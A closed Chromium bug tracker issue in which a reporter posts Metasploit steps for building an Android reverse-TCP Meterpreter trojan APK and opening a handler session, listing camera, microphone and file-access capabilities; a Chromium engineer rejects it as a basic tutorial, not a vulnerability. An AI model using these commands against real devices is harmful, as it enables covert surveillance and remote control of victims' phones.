New issue
Advanced search Search tips

Issue 726562 link

Starred by 1 user

Issue metadata

Status: WontFix
Owner: ----
Closed: May 2017
EstimatedDays: ----
NextAction: ----
OS: Android
Pri: 3
Type: ----



Sign in to add a comment

Hack any android phone using embedded playlist

Reported by akshayas...@gmail.com, May 26 2017

Issue description

Device name: Lenovo vibe P1. (works on all Android version)

From "Settings > About Chrome"
Application version:58.0.3029.83
Operating system:5.1.1

URLs (if applicable):

Steps to reproduce:
Boot up Kali Linux and open Linux terminal and do the following steps 
(1)First you have to create a backdoor “Trojan App” to exploit android you can do this by running the following command at the terminal:

root@kali:~# sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.21 lport=4444 R > app.apk

(2)Use the multi-handler exploit:

msf > use exploit/multi/handler
Set the reverse TCP android payload:
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
Set the local and remote hosts:
msf exploit(handler) > set lhost 192.168.0.21
msf exploit(handler) > set rhost 192.168.0.17
Set the local port:
msf exploit(handler) > set lport 4444
Now exploit
(3) Have a session open make sure the user clicks on the app called MainActivity(playload which can be embedded on other apps)
Expected result:we can do the following hack

View running processes
Printing the Working directory
Search for a file
Take photos using the devices cameras
Record sound with the microphone
Video stream from the devices camera
Download and upload files
Change working directory
Etc

Actual result:

View running processes
Printing the Working directory
Search for a file
Take photos using the devices cameras
Record sound with the microphone
Video stream from the devices camera
Download and upload files
Change working directory





 

Comment 1 by torne@chromium.org, May 26 2017

Status: WontFix (was: Unconfirmed)
This appears to be the instructions from a basic Metasploit tutorial on how to create a trojan for Android. This isn't a hack/exploit: if you can convince someone to install a malicious app that has permission to take photos, access the internet, record sound, etc, then yes, you can then do those things with the victim's device. There's no actual security breach happening here.

Also, this bug tracker is for the WebView component of Android, not the OS itself. What you're describing doesn't have anything to do with WebView; see https://source.android.com/source/report-bugs for how to report bugs in Android itself.

Sign in to add a comment